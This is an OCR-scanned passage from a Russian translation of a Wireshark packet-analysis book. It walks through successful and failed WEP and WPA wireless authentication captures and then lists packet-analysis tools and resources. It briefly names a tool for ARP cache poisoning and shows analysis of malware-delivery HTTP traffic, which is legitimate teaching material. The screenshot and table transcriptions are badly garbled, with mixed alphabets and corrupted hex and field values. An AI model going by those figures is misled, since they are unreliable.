Asюc:i1tion Request, S.181, А<!'"°· Fl11s• ....... с, SSio-oENVf:IIOffIC[ 
Associ1t1on R•• se S/#•6, FN•f Fl1 s•. . .с 

Рис. 13. 14. По окончании аутентификации следует простой процесс запроса и отве
та на установку связи, состоящий из двух пакетов 

Неудачная аутентификация по алгоритму WEP 
Файл перехвата Зе80211_ 

WEPauthfail.pcapnq 
В следующем примере пользователь вводит WЕР

ключ для подключения к точке беспроводного до

ступа. Но через несколько секунд беспроводный 

клиент отвечает, что ему не удалось подключиться к беспроводной сети, хотя 

и не объясняет конкретную причину. Полученный в итоге сетевой трафик со

хранен в файле перехвата 3e80211 _ WEPauthfail. pcapng. 

Как и при удачной попытке аутентификации, рассматриваемый здесь об

мен данными начинается с отправки текста запроса из точки беспроводного 

доступа беспроводному клиенту в пакете 3. В свою очередь, беспроводный 
клиент отправляет ответ в пакете 4, используя WЕР-ключ, введенный пользо-
вателем. 

В этот момент можно было бы ожидать уведомления об удачном заверше

нии аутентификации, но в пакете 5 мы наблюдаем нечто совсем иное О, как 

показано на рис. 13.15. 
В данном сообщении уведомляется, что ответ беспроводного клиента на 

текст запроса оказался неверным, вероятно потому, что был введен непра

вильный WЕР-ключ, использовавшийся для расшифровки текста. В итоге про

цесс подключения к беспроводной сети завершился неудачно. Поэтому его 

придется повторить снова, но уже с правильным WЕР-ключом. 



• Wiroshark . Packot S. 3e80211_wepauthfa1I 

> Fг•m• 5: 54 bytos on wiro (432 Ыts). 54 bytos coptuгod (432 Ыts) on intoгf•c• 0 
Radiotap Ноаdог v0, L•ngth 28 

802 .11 гadio information 
> IEEE 802.11 Authentication, Flags: ........ С 
..,. IEEE 802.11 wiгoloss LAN man•gemont fгan>e 

"' Fixod paгametoгs (б bytes} 
Authontication Algoгith11: Shaгod koy (1) 
Authentic•tion SEQ: 0х0004 

О Status codo: Authontication гojocted becouso of challong• failuro (&xooef} 

о х 

""'' s . r-0.116n18 ~ ,.__.!.:!16:1' . °"""'°""' Appl._7So6a. (tfВm): -19. {)#Q ,."" 1 . Infr>: А~ SN•l, FN•4 ~.""." 

1 аа.. Не1р 

Рис. 13. 15. В этом сообщении уведомляется, что аутентификация 
завершилась неудачно 

Удачная аутентификация по алгоритму WPA 
Файл перехвата Зе80211 _ 
WPAauth.pcapnq 

В стандарте WPA применяется совершенно другой 
механизм аутентификации, чем в стандарте WEP, 
но и в нем по-прежнему используется ключ шифро

вания, введенный пользователем на стороне беспроводного клиента при под

ключения к сети. Пример удачной аутентификации по алгоритму WPA приве
ден в файле перехвата 3e80211 _ WPAauth.pcapng. 

Первым в сетевом трафике из этого файла перехвата следует сигнальный 

пакет, переданный в широковещательном режиме из точки беспроводного 

доступа. Разверните заголовок стандарта 802.11 из этого пакета, перейдите 
к промаркированным параметрам и разверните заголовок Vendor Specific 
(Параметры производителя), как показано на рис. 13.16. В итоге вы долж
ны обнаружить, что данная часть пакета посвящена атрибутам WPA точки 
беспроводного доступа О. Анализируя ее, можно выяснить версию и реализа

цию стандарта WPA, если она вообще поддерживается в точке беспроводного 
доступа. 

Как только сигнальный пакет будет получен, беспроводный клиент, нахо

дящийся по адресу ас: cf: Sc: 78: 6с: 9с, передает в широковещательном ре
жиме зондирующий запрос (probe request) в пакете 2, который принимается 
точкой беспроводною доступа, расположенной по адресу 28: с6: 8е: аЬ : 96: 16 

и отправляющей в ответ пакет 3. После этого происходит обмен пакетами с 
запросами на аутентификацию и установку связи между беспроводным клиен

том и точкой беспроводного доступа в пакетах 4-7. Эти пакеты подобны паке
там с запросами на аутентификацию и установку связи, рассмотренные ранее 

в примере применения алгоритма WEP, но в данном случае никакого запроса 
и ответа на него нс происходит, поскольку такой обмен выполняется далее. 
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JI. Wireshark · Packet 1 · 3e80211_wpaauth 

FraR 1: 336 bytes оп wire (2688 Ыts}. 336 bytes captured (2688 Ыts) оп iпterface 0 
Radiotop Нeader v0, Leпgth 20 
802. ll radio iпfoN11ation 
IEEE 802.11 8еасоп fra..e, Flags: . . ".".С 
IEEE 802.11 wireless LAN 11апаgе11епt fra" 
> Fixed paranoeters (12 bytes) 
v Tagged paranoeters (276 bytes) 

) Tag: SSIO parameter set: OENVEROFFICE 
> Tag: Supported Rates 1(8), 2(8), 5.5(8), 11(8), 6(8), 9, 12(8), 18, [MЫt/sec] 

Tag: DS Роrакtег set~ Curгent Channel: 1 
Tag: Traffic Iпdicatioп Мар (ПМ): ОПН 1 of 0 Ыtтар 
Ti1g: Countгy InforalJtion: Country Code US, Environraent Any 
Tag: ERP Infonaation 
Tag: Veпdor Specific: Microsof: WPA Infon1atioп Elet1ent О 

Tag Nu11t>er: Veпdor Specific (221) 
Tag leпgth : 22 
OUI : 00-50-f2 
Veпdor Specific OUI Туре: 1 
Туре: WPA Infornatioп Elemeпt (8х01) 

WPA Vers ion: 1 
Нulticast Cipher Suite: 00-50-f2 TKIP 
Unicast Cipher Suite Count: 1 
Uпicast Cipher Suite List 00- 50-f2 TKIP 
Auth Кеу Мапаgе..епt (АКН) Suite Couпt: 1 
Auth Кеу М.паgе..епt (АКН) List 00-S0-f2 PSK 

Tag: Exteпded Supported Rates 24(8), 36, 48, 54, [MЬit/sec] 

Tag: Veпdor Specific : lticrosof: .н\/ЖЕ: Para ... ter Ele..eпt 
Tag: Veпdor Specific: Epigrи: НТ Capat>ilities (802.llп 01 .10) 

Tog : НТ Capat>ilities (802.llп 01.10) 
Tog: Vendor Specific: Epigraow: НТ Additioпal Capat>ilities (802.lln 01 .00) 

Tag : НТ Infonaatioп (802.lln 01.10) 
Tag: Vendor Specific: AtherosC: Advanced CapaЫlity 
Tag : Vendor Specific : AtherosC: Unknowп 
Tag: Vendor Specific: Microsof: WPS 

о х 

Na.: 1 • rn.o.OODOOtJ·s..п..-_olк!/6:16 •~-· A<>.. l •Jnfo:e..a,,,- SN•W> Fl<•Q, ,,...""" •• <; 8/•100, S'SIO•DEIVVOIC 

°""" 
Рис. 13. 16. Из этого сигнального пакета можно выяснить, что в точке беспро
водного доступа подцерживается аутентификация по алгоритму WPA 

Дело начинает принимать любопытный оборот в пакете 8. Именно здесь и 

начинается процесс установки связи по алгоритму WPA, который продолжа

ется вплоть до пакета 11. В ходе этого процесса отравляется запрос и получа

ется ответ на него, как показано на рис. 13.17. 

No. Tme Sou-"' Deslhil..., Proloo>I Len;tli Оwп1 51<»а1 stren;tti (dl!m) Datarate lnfo 

8 8.- Netgear _аЬ:96 :16 Apple_78:6c:9c EAPOL 157 -18 24 Кеу (~ssagr 1 of 4 ) 
9 е._ Арр1~_78:6с:9с Netg~ar _•b:9б: 16 EAPOL 183 · 42 1 Кеу (Нessage 2 of 4) 

1е е._ r~tg~•r _ ab :96 : 16 Арр1~_78:бс:9с EAPOL 181 -18 36 Кеу (l"essage з of 4) 
11 в._ Аррlе_78:бс:9с tietg~a r _аЬ:9б: 16 EAPOL 157 -42 1 Кеу (Мessage 4 of 4) 

Рис. 1 3. 17. Эти пакеты являются частью процесса установки связи по алгоритму WPA 

В данном случае отправляются два запроса и принимаются два ответа. Их 

соответствие можно определить, исходя из содержимого поля Replay Counter 
(Счетчик ответов) в заголовке Authentication по стандарту 802. lx, как пока-



зано на рис. 13.18. В частности, обратите внимание на то, что значение в поле 
Replay Counter из первого пакета установки связи равно 1 О, а во втором па
кете - 2 8. При удачном завершении процесса установки связи и аугентифи
кации начинается обмен данными между беспроводным клиентом и точкой 

доступа. 

• • 1·esrarlt: Р ckE-t '"'f'ЧЮ 11 >Apa~uth о 

Fга110 8: 157 byt•s on wiгo (1256 Ыts), 157 bytes captured (1256 Ыts) on inteгface 0 
> Radiotap Неаdег v0, Longth 20 
> 802.11 гadio infornation 

IEEE 802.11 QoS Oata, Fl1gs: •.. . .• F.C 
Logical-Link Contгol 
802. lX Authentication 

Veгsion: 802.lX-2004 (2) 
Туре: Кеу (3) 
Longth: 95 
Кеу Descriptoг Туро: EAPOL WPA Кеу (254) 

> Кеу Infornation: 0х0089 
Коу Length: 32 

О Replay Countoг: 1 
WPA Кеу Nonco: c03d0f88f4d79265oa395370Ы8efc4ef67ba9f46b831>oc7 ... 
Коу IV: 00000000000000000000000000000000 
WPA Кеу RSC: 0000000000000000 
WPA Кеу ID: 0000000000000000 
WPA Кеу MIC: 00000000000000000000000000000000 
WPA Коу Data Length: 0 

х 

No.: В • r,.., 0.]77010 • .SC..00 N«vur_.lx56<16 • ~' App/o_78:6c< . .k 1 • 5lg,,.J,,,..,,,. (dВп,):-18 • О- r.:•1 :М • Jrrlo: K-v ~ J , 

г~ ~ 

~ ~/1r~hark Pзcket 1 з~pri 1 t yroa.auth о 

Fга""' 10: 181 bytes on wiгe (1448 Ыts), 181 bytes captuгod (1448 Ыts) on interface 0 
Radiotap Неаdог v0, Length 20 
802.11 гadio inforJOation 
IEEE 802.11 QoS Oata, Flags: ..•.•. F.C 

> Logical-Link Contгol 
v 892 .1Х Authentication 

Veгsion: 802.lX-2004 (2) 
Туро: Коу (3) 
Longth: 119 
Коу Descriptor Туре: EAPOL WPA Кеу (254) 
Кеу Infor11ation: 0х01с9 
Коу Longth: 32 

@ Repl1y Counteг: 2 
WPA Кеу Nonc•: c03d0f88f4d79265oa395370Ы8ofc4ef67ba9f46b83eec7 . . . 
Кеу IV: 00ее.000000000000000000000&000000 
WPA Кеу RSC: 0000000000000000 
WPA Коу ID: 0000000000000000 
WPA Коу НIС: баd7оЬеЬ262Зlа497с344а86е9оЬf9с7 
WPA Кеу Data Longth: 24 

> WPA Кеу Oata: ddl60050f20101000050f20201000050f20201000050f202 

Рис. 13. 18. Анализ значения в поле Replay Counter помогает связать 
вместе поры запросов и ответов на них 



lllQЩ!p№iiil Сетевой трафик из данного примера взят из тачки беспроводного досту

па, где применяется алгоритм ИРА с ТКIР для шифрования даннъ~х в 

WLAN. В разли'Чных тачках беспроводного доступа применяются раз
ные алгоритмы шифрования данных. Так, ее.ли в тачке беспроводного 

доступа применяется другой алгоритм шифрования данных или версия 

стандарта ИРА, то ее характеристики на уровне пакетов будут замет

но отли'Чатъся. Чтобы узнатъ подробнее о том, как должна выглядетъ 

пос.ледовШ'IИИъностъ установки беспроводного соединения, обращайтесъ к 

соответствующим документам RPC. 

Неудачная аутентификация по алгоритму WPA 

Файл перехвата Зе80211 _ 

WPAauthfail.pcapng 

Как и в примере применения алгоритма WEP, мы 
проанализируем в данном случае, что произойдет, 

если пользователь введет WРА-ключ, на который 

беспроводный клиент ответит, что ему не удалось подключиться к беспрово

дной сети, хотя и без указания конкретной причины. Полученный в итоге ре

зультат сохранен в файле перехвата Зe8021l_WPAauthfail.pcapng. 

Сетевой трафик в этом файле перехват-а начинается таким же образом, 

как и в предыдущем примере, где рассматривалась удачная аутентификация 

по алгоритму WPA. Это означает, что вначале передаются зондирующие паке
ты, а затем пакеты аутентификации и установки связи. В частности, процесс 

установки связи по алгоритму WPA начинается с пакета 8, но в данном случае 
вместо четырех пакетов, как при предыдущей попытке аутентификации, пе-

редаются восемь пакетов. 

Пакеты 8 и 9 представляют собой два первых пакета, наблюдаемых в про
цессе установки связи по алгоритму WPA. Но в данном случае текст запроса, 
отправляемый беспроводным клиентом обратно точке беспроводного досту

па, оказывается неверным. В итоге последовательность обмена данными по

вторяется в пакетах 10-15, как показано на рис. 13.19. Каждый запрос и ответ 
могут быть объединены в пары с помощью значения в поле Replay Counter. 

No. Т-mе Sou'ce o..tmlion Protocol L.en;th Channol sq1iJI strength (<l!m) Data •• " !лfо 

в 8.873773 Netgear _вb:96:16 Appl•_78: Бс :9с EAPOL 157 -18 24 К•у (~ss•g• 1 of 4) 

9 8.876510 Аррlе_7В:бс:9с Netge1r _ab:96:16 EAPOL 183 -3е 1 Кеу (~ssage 2 of 4) 

18 1.874298 М..tgeor _ob:96:16 дррlе_78:бс:9с EAPOL 157 ·19 24 Кеу (~ssage 1 of 4) 

11 1.876573 Аррlе_78:бс:9с Netgeвr-_вЬ:96: 16 EAPOL 183 -32 1 Кеу (Message 2 of 4) 

12 2.875292 Netgear _ab:96:1б Appl•_78:6c :9с EAPOL 157 -18 36 Кеу (~ssoge 1 of 4) 

13 2.877618 дррlе_78:бс:9с М..tgeor_ab:96:16 EAPOL 183 ·29 1 Кеу (~ssage 2 of 4) 

14 3.877211 ~tgear _вb:96:16 Аррlе_78:бс:9с EAPOL 157 -18 48 Кеу (~ssage 1 of 4) 

15 3.879537 Аррlе_78:бс:9с Netgear _аЬ:96: 16 EAPOL 183 -32 1 Кеу (~ssage 2 of 4) 

Рис. 13.19. Дополнительные пакеты, посылаемые по протоколу EAPoL {ExtensiЬ/e 

Authentication Protocol over LAN - расширяемый протокол аутентификации в локаль

ной сети}, указывают на неудачный исход аутентификации по алгоритму WPA 



Как только попытка установки соединения завершится неудачно четыре 

раза подряд, связь будет прервана. Как показано на рис. 13.20, точка беспрово
дного доступа отказывает в аутентификации клиенту в пакете 16 О . 

• Wirбh•rk. Pocket 1б. З.S0211_wpaauthf•il о 

) Fгае 16: 50 bytes on wiгe (400 bits), 50 bytes captuгed (400 bits) on interface 0 
> Radiotap Неаdег v0, length 20 
> 802 .11 гadio infonмtion 
v IEEE 802.11 Deauthentication, Flags: "".".С 
О Type/Subtype: Deauthentication (0х000с) 
> Frae Control Field: 0хс000 

. 000 0001 0011 1010 • Duration: 314 microseconds 
Receiver address: Аррlе_78:бс:9с (ac:cf:Sc:78:бc:9c) 

Destination addгess: Apple_78:6c:9c (ac:cf:Sc:78:бc:9c) 
Transl8itter •ddress: Netgear_ab:9б:lб (28:с6:8е:аЬ:96:16) 
Souгce address: Netgear _аЬ:9б : 16 (28:сб:8е: аЬ :96: 16) 
BSS Id: Netgeaг_ab:96:16 (28:сб:8е:аЬ:9б:lб) 
. . . . . . . . . ... 0000 • Fragment nuraЬer: 0 
0000 0000 0000 , • . . • Sequence number: 0 

> Fral8e check sequence: 0xб9fd5280 [ соггесt] 
v IEEE 802 .11 wirйess lAN unage1Went frame 

v Fixed par•meteгs (2 bytes) 
Reason code: Class 2 fгanie гeceived fl'08 nonauthenticated STA (0х000б) 

х 

№.: 16 • r.,,., З.IJSOJ48 • Sotxa: Neфtw_.Ь.'6:16 • ~' ~-ll1<..m)o -17 • 04u r.n: ! · lrlrx 0-.~ SN=4 FN=4 Fhgs. ••• " 

aose Не1р 

Рис. 13.20. После четырех неудачных попыток установки связи по 
алгоритму WPA точка доступа отказывает клиенту в аутентификации 

Заключительные соображения 
Несмотря на то что беспроводные сети до сих пор считаются не вполне 

безопасными, если только не снабдить их целым рядом дополнительных ме

ханизмов защиты, это обстоятельство не помешало их развертыванию в раз

личных организационных средах. По мере того как беспроводная связь все 

больше становится нормой, очень важно уметь перехватывать и анализиро

вать данные в беспроводных сетях так же, как и в проводных. Принципы и ме

тодики, рассмотренные в этой главе, нельзя считать исчерпывающими, хотя 

они могут послужить неплохой отправной точкой для дальнейшего углублен

ного изучения особенностей диагностики беспроводных сетей посредством 

анализа пакетов. 
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ДОПОЛНИТЕЛЬНАЯ ИНФОРМАUИЯ 

В примерах из этой книги для анализа пакетов применя

лось в опюв1юм приложение Wiresl1ark. Хотя для анали
за пакетов, включая диагностику проводных и беспро

водных сетей, борьбу с медленно работающими сетями 

и обеспечение сетевой безопасности, имеется немало дру

гих удобных инструментальных средств. В этом приложении 

кратко описан ряд других инструментальных средств и перечислены допол

нительные ресурсы для дальнейшего изучения анализа пакетов. 

Инструментальные средства для анализа пакетов 
Рассмотрим ряд других инструментальных средств, которые могут оказать

ся полезными для анализа пакетов. 

CloudShark 
Инструментальное средство CloudShark, разработанное компанией 

QA Cafe, относится, на мой взгляд, к числу самых лучших для хранения, ин
дексирования и сортировки перехваченных пакетов. Это коммерчески до

ступное веб-приложение, предназначенное для организации хранилища пе



некоторые средства для анализа пакетов , аналогичные тем, что имеются в 

Wiresl1ark (рис. А.1). 

stert-lan.cap 1 , / Ь ')3 pacJc:et1 more "fo 

~- - -~· 
'V ,_.,"т .... .... - ·- ·-.... г "_ tourc• De•t.i~t.ton. J'rot.oool t.en<Jt.h. t•fo 

Зl . н.,s1а1 telO 1 1с•с17 11tff1 f•4b1 4'2е Н'О211l J:CIO'vl ltO ROltt:•r w-z:L.iм..ut. fr:oe cl1d'711f14b1"•2• 

" 14.112'1'1 t•IO 11oad11 tttt• t•'-Ъ• 6'21 fl021116 11О )ID}t.ic-t Liat.-.n.i: Mpozt. lllN••" "2 

ЭJ : ~h811111M·ll•~::::· 
ff02ri16 ICКPvl ш Мult:.iea•t. LJ.et.«a•.i: a.port. " ...... •1 

" ff0)11t1ffo)1•1tb lC!oCtVI " i&.1~Ьot' &oliciUtl.oa toc- !at0ol21t1.2ft1fec:!1atfb 

" tf42112 1aov• " Rou.t.ar iioHc1r•t.ioo frc. I01J(102••1••1•fit 

" . J1.1'1":11 t•I01182H 12tt1fac:l1a1fb ff021 ·2 '"""' " itнur tolfci.tat.iol\ fro. I011f11'121c:J1al1fЬ 

J1 . н.112но te80 1 rl21f12!(1f10)1altЪ tf02112 ,,,,,." " Аооt.П" Colloit.et.loa [.-- t011f1021cJ1al1fЬ 
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t•t01 •Оа471 J9ff1lc4b1 l&J• r101111 "' 
" . SS.501411 10011ddd411llH12lf1fм:J1•lfi 30011Sla1c•fe11l .... 1SH CCNrOe ,.art1 11'71 .0.•t1••\.il)D port1 C0811fl••·liek . SS.,124!H tt2.161.1.1 22•.о.о.1 ,,,,,.., 
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" . 61.~J)Иl JOOl 1ddd4 1 1f21f1Hl1fecl1•1f'- J0011tleн=•f•111 ••• i.114 &о.ж:се pc"t.1 11110 Ь.et.i.м.t!on ,ort1 ~1••~Нм 
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0000 JЭ 3) ff о~ • 1 fb 80 Н 02 eJ 11 fb Sf. dd 'о 00 ):)."." 
0010 оо оо оо 11 1" rt оо оо оо оо оо оо оо оо оо оо . ... 1 ... . ... . . " 
0020 00 00 00 00 00 00 {( 02 00 00 00 00 00 00 00 00 
0010 оо 01 ff о3 el rь 17 оо et 2а оо оо ос оо so 01 •.••• ""о. 

Рис. А J. Пример просмотра файла перехвата в CloudShark 

Если в вашей организации ведется крупная библиотека образцов перехва

та пакетов или же вы, как и я, часто теряете файлы перехвата, CloudSl1ark 

поможет вам организовать их надежное хранение. Я, например , развернул 

CloudSl1ark в своей сети и восполыовался этим инструментальным сред

ством для хранения и организации всех файлов перехвата, употреблявшихся 

в примерах из этой книги. Подробнее о CloшlSl1ark можно узнать по адресу 

https://www.cloudshark.org/. 

WireEdit 
Чтобы протестировать применяемую систему обнаружения вторжений 

или разработку сетевого программного обеспечения, возможно, придется 

создавать специально отформатированные пакеты. В частности, можно вос

со:щать сценарий, в котором нужные пакеты будуг формироваться в лабо

раторных условиях, хотя для того , чтобы сделать это, потребуется немало 

времени. Еще один способ состоит в том, чтобы найти аналогичный пакет и 

подправить его вручную под свои потребности. Для решения подобных задач 

рекомендуется графическое инструментальное средство WireEdit, позволяю

щее редактировать значения в отдельных полях пакета. Его удобный пользо

вательский интерфейс очень похож на аналогичный интерфейс в Wireshark. 



Более того, WireEdit позволяет пересчитывать контрольные суммы пакетов, 
чтобы они не оказались недостоверными при открытии в Wireshark. Подроб
нее о WireEdit можно узнать по адресу https: //wireedit. сот/. 

Cain &Abel 
Как обсуждалось в главе 2, Cain & Abel относится к числу самых лучших 

инструментальных средств Windows для заражения АRР-кеша. По существу, 
Cain & Abel представляет собой весьма надежный набор инструментальных 
средств, которым вы, вероятнее всего, найдете и другое применение. Инстру

ментальное средство Саiп & Abel доступно по адресу http://www.oxid.it/ 
cain.html. 

Scapy 
Scapy - это очень эффективная библиотека на языке Pythoп, с помощью 

которой можно создавать пакеты и манипулировать ими по сценариям, вы

полняемым из командной строки в своей среде. Проще говоря, библиотека 

Scapy оказывается наиболее эффективной и удобной для обработки пакетов. 
Подробнее узнать о Scapy, загрузить и просмотреть примеры сценариев Scapy 
можно по адресу http: //www.secdev.org/projects/scapy/. 

TraceWrangler 
Файлы перехвата пакетов содержат немало сведений о сети. Если требу

ется поделиться файлом перехвата пакетов из своей сети с провайдером или 

коллегой, то вряд ли стоит сообщать им все сведения о своей сети. И здесь 

на помощь придет инструментальное средство TraceWrangler, позволяющее 
производит "саночистку" перехваченных пакетов, чтобы сделать аноним

ными различные типы присутствующих в них адресов. TraceWraпgler обла

дает рядом других возможностей, в том числе редактировать и объединять 

файлы перехвата, но я пользуюсь этим инструментальным средством только 

для "саночистки". Загрузить TraceWraпgler можно по адресу https: //www. 
tracewrang ler. сот/. 

Tcpreplay 
После сбора пакетов в файле перехвата часто требуется выполнить их по

вторную передачу, чтобы посмотреть, как на них будут реагировать сетевые 

устройства. Для этого используется утилита Tcpreplay. Саму программу можно 
загрузить по адресу http: //tcpreplay. synfin. net/. 



NetworkMiner 
NetworkMiпer - это инструментальное средство, применяемое для судеб

ной экспертизы сетей, но я нашел его полезным во многих других случаях. 

И хотя NetworkMiпer можно использовать для перехвата пакетов, истинный 

потенциал этого инструментального средства состоит в способности вы

полнять синтаксический анализ пакетов из файлов перехвата. В этом случае 

NetworkMiпer выбирает файл перехвата формата РС'АР и разбирает его со

держимое по типам операционных систем, обнаруживаемых в сеансах связи 

между хостами. NetworkMiпer позволяет даже извлекать переданные файлы 

непосредственно из перехваченного трафика (рис. А.2). Все эти возможности 

доступны в свободно распространяемой версии NetworkMiпer. А в коммерче

ски доступной версии предоставляется ряд других полезных возможностей, в 

том числе получение отпечатков операционных систем, сравнение получен

ных результатов с "белым" списком и повышение скорости обработки пере

хваченных пакетов. Свободно загружаемая версия NetworkMiпer доступна по 

адресу http://www.netresec.com/?page=NetworkMiner. 
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Рис. А.2. Применение NetworkMiпer дпя синтаксического анализа содержимого 

файлов перехвата пакетов 



CapTipper 
Надеюсь, что, прочитав эту КНИI)', вы научитесь анализировать данные из 

перехваченных пакетов под разными углами зрения, чтобы найти ответы на 

насущные вопросы диагностики сетей. Инструментальное средство CapТipper 

специально предназначено для специалистов по безопасности сетей, занима

ющихся анализом сетевого трафика по протоколу НТТР (рис. А.3). CapTipper 
предоставляет богато оснащенную среду командной оболочки, которая дает 

пользователю возможность исследовать отдельные диалоги в интерактивном 

режиме в поисках переадресации, файловых объектов и зловредного содер

жимого. В CapTipper предоставляются также удобные средства для взаимодей
ствия с раскрываемыми данными, включая возможность извлекать данные из 

архивов типа gzip и передавать хеш-суммы файлов в службу VirusTotal. Загру
зить CapTipper можно по адресу https: //www.github.com/omriher/CapTipper/. 

е 1. Python 

defender :(opТipper-master csonders$ sudo ./CopТippcr. ру ek_to_cryptй'lvo1l4 .pcopng 
CopТi.pper v0. 3 ЫЗ - Мolicious НТТР traffic explorer tool 
Copyright 2015 Omri. Herscovi.ci <0111ri.her@gmail сопt> 

[А] Anolyzing РСАР: ek_to_cryptowall4 .pcapng 

[+] Troffi.c Acti.vity Тime: Моn 1 01 / 04/16 16:25:54 
[+] Conversoti011s Four1d: 

0: /1'1Ф~)' . . r1•:p.''<"r_•r,·i•.t"-· -> tcxt/ htrnl ( services) [16.7 КВ] (Моg1с: G7) 
1: /(o~itr·ary/ lf,SJ8i3iчt1' '," '>U"t'Or:1~-v1"1 t-(••'· nu,1·.r•·l~f -to'1HJr•t · "''"'r:-f't-atКн t -gi чо·)t t( don<.t··th i rd -> te"tfhtml (qui.tc-someone-visi. tor-non 
sense-t.onight-s111eet:-a .... ·ai.t - giganti c-dance- thi rd) (576. 0 В] (Magic: Gl) 
2: ."o(casн}"1ot/l1X)kt•Hr.lYXt1rroд -> appticotion/x-shock\.10ve-Hosh (bXJk:eHFlYXhmoA) (84.1 КВ] (Моg"с: SWF) 
3: ,'gcюФ1~s~/18~·JQt\t.; '1:c1·101:~t - i (J•:to~,t \ r:. - thoro~·~Г'i ·'>'jt:U'1e--gr·(·1.e<;цut.' - r or·t.i-•. -uwo\.::t"• -f oi.11 tai п -> text/html (eornest-f Qt"ltost 1.C-thorough-weove 
-grotesque-forth-ov.oken - fountoin) [20.0 В] (Маgн: Gl) 
4: /()tJs.eп.-otн;~/!"·•l/'J/.'ot 1_1ф/ -> applicotton/ octet-streom (enVj72dtcnp7) (350.0 КВ] (Magic: BINARY ) 
5: /VUO~'::Q.p>1p·1-.,.-xr.~~ '• . .~;оь -> textlhtml (VOEHSQ.p~1p} [0.0 В] 
6: ; ,-бNli. м.. р11р in, ).1--:::k i't..\ J!J(• -> tex t / html (76N1 Lm. php) [14 . 0 В) (Мogic: ТЕХТ) 

7; /'w'IЯH)Q.pnp!l"'<"(j·~t'.\'Jl!).,ш17a; - > text/html (VOEHSQ.pl,p) [0.0 В] 
8: !76NHnцJl1p·.'ч -9'n.З~'!у31 ! ).,tJt17u J -> text/ html (76Nllm.php) [120.8 КВ) (Мogic: ТТХТ) 

9: /\iOEH)Q.p~o7h,-ttH.jbl1бSol8kl1 -> tcxt/html (VOfHSQ.pf1p) (0.0 В] 
10: /,'ЬNllm.php?1r t tfi<Jbб6SoJ~l<lz -> text/html (76Nllm.php} [6.0 В] (Мagtc: -ТЕХТ) 

Рис. АЗ. Анализ доставки вредоносного содержимого по протоколу НТТР в Сар Tipper 

ngrep 
Если вы знакомы с Linux, то, несомненно, пользовались утилитой grep для 

поиска данных. Аналогичным образом утилита ngrep позволяет находить кон
кретные данные в перехваченных пакетах . Я обычно пользуюсь ngrep в тех 
случаях, когда фильтры перехвата и отображения оказываются непригодны

ми или слишком сложными для выявления нужных данных. Подробнее об ути

лите ngrep можно узнать по адресу http: / /ngrep. sourceforge. net/. 

libpcap 
Если вы собираетесь проводить расширенный синтаксический анализ па

кетов или разрабатывать приложения для обработки пакетов, непременно 



ознакомьтесь с библиотекой libpcap. Проще говоря, libpcap - это переноси

мая библиотека С/С++ для перехвата сетевого трафика. Wireshark, tcpdump и 
большинство других приложений для анализа пакетов в какой-то степени ис

пользуют библиотеку libpcap. Подробнее о библиотеке libpcap можно узнать 
по адресу http: //www.tcpdump.org/. 

Npcap 
Npcap- это библиотека из проекта под названием Nшар Project, основан

ная на библиотеке WinPcap/libpcap и предназначенная для анализа пакетов в 
Wiпdows. Как сообщается, Npcap служит для повышения производительности 
при перехвате пакетов и предоставляет дополнительные возможности для 

обеспечения безопасности, позволяющие ограничить перехват пакетов поль

зователя, обладающими правами сетевых администраторов и выгодно поль

зоваться управлением учетными записями пользователей в Wiпdows. Npcap 
можно установить в качестве альтернативы WiпPCap и применять вместе с 

Wireshark. Подробнее узнать о Npcap можно по адресу https: / /www. gi thub. 
com/ nmap / npcap /. 

hping 
Инструментальное средство hpiпg относится к числу самых универсальных 

в арсенале тех, кто занимается анализом пакетов. Оно служит для обработки, 

правки и передачи пакетов в режиме командной строки. Инструментальное 

средство hpiпg поддерживает различные сетевые протоколы, очень просто 

и интуитивно в употреблении. Загрузить hping можно по адресу h t tp: / /www. 
hping. org /. 

Python 
Python - это не инструментальное средство, а интерпретируемый язык 

программирования, заслуживающий здесь особого упоминания. По мере со

вершенствования в анализе пакетов вы непременно столкнетесь с такими слу

чаями, когда для удовлетворения ваших потребностей у вас не окажется под

ходящих автоматизированных средств. В подобных случаях приходит на по

мощь язык Руtlюп, позволяющий создавать инструментальные средства, спо

собные выполнять немало интересных действий над пакетами. Кроме того, 

для взаимодействия с библиотекой Scapy требуется хотя бы немного знать 
язык Pythoп. И здесь вам, как нельзя кстати, придется книга Автоматизация ру

тиннъtх зада'Ч с помощъю Python: практи-ческое руководство для на'Чинающих, пере

вод которой на русский язык вышел в издательстве "Диалектика" в 2016 году 
(ISBN 978-5-6040724-2-4). 



Ресурсы по анализу пакетов 
По анализу пакетов имеется немало ресурсов: от начальной страницы 

веб-сайта, посвященного Wireshark, до различных учебных курсов, форумов и 
блогов. Ниже перечислены лишь некоторые из них. 

Начальная страница веб-сайта, посвященноrо Wireshark 
Самым главным и первоочередным ресурсом по Wireshark является началь

ная страница веб-сайта этого приложения, доступная по адресу http: //www. 
wireshark.org/. На этой странице содержатся ссылки на документацию по 
Wireshark, очень полезные вики-страницы с образцами файлов перехвата и 
сведения о подписке на список рассылки по Wireshark. Чтобы задать вопросы 
по применению Wireshark или отдельным возможностям этого приложения, 
достаточно перейти на форум по адресу https: //ask.wireshark.org/, где ак
тивно действует сообщество пользователей Wireshark, готовое оказать всяче
скую помощь коллегам. 

Онлайновые практические курсы по анализу пакетов 

Если вам понравится эта книга, вы можете также пройти дополнительные 

онлайновые курсы по практическому анализу пакетов. Эти курсы состоят 

из учебных видеоматериалов для проработки примеров перехвата пакетов, 

упомянутые не только в этой книги, но и в ряде других источников. На этих 

курсах проводятся также лабораторные занятия по перехвату пакетов, где вы 

можете проверить свои навыки, а также ведется дискуссионный форум, где 

можно поучиться у других учащихся в ходе обучения. Узнать подробнее об ус

ловиях обучения можно по адресу http: //www.chrissanders.org/training/, а 
подписаться на список рассылки для извещения о возможностях обучения -
по адресу http://www. chrissanders. org/list/. 

Уrлубленные курсы в институте SANS 

по обнаружению вторжений 
Углубленные курсы SANS SEC503 по обнаружению вторжений посвящены 

вопросам безопасности, решаемым при анализе пакетов. Даже если вы не за

нимаетесь непосредственно вопросами сетевой безопасности, в течение пер

вых двух дней на этих курсах вы сможете получить ясное и полное представ

ление об анализе пакетов и утилите tcpdump. Эти курсы проводятся несколько 
раз в год по всему миру. Подробнее узнать о курсах SEC503 и самом институте 
SANS можно по адресу http: //www.sans.org/. 
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Блоr Криса Сандерса 

Время от времени я пишу статьи по анализу пакетов и публикую их в своем 

блоге по адресу http://www.chrissanders.org/. Мой блог служит также пор
талом для ссылок на другие написанные мной статьи и книги, а также мою 

контактную информацию. Здесь можно найти и ссылки на примеры перехва

та пакетов, включенные в эту книгу, а также ряд других примеров. 

Веб-сайт Бреда Дункана, посвященнь1й анализу 

вредоносного трафика 

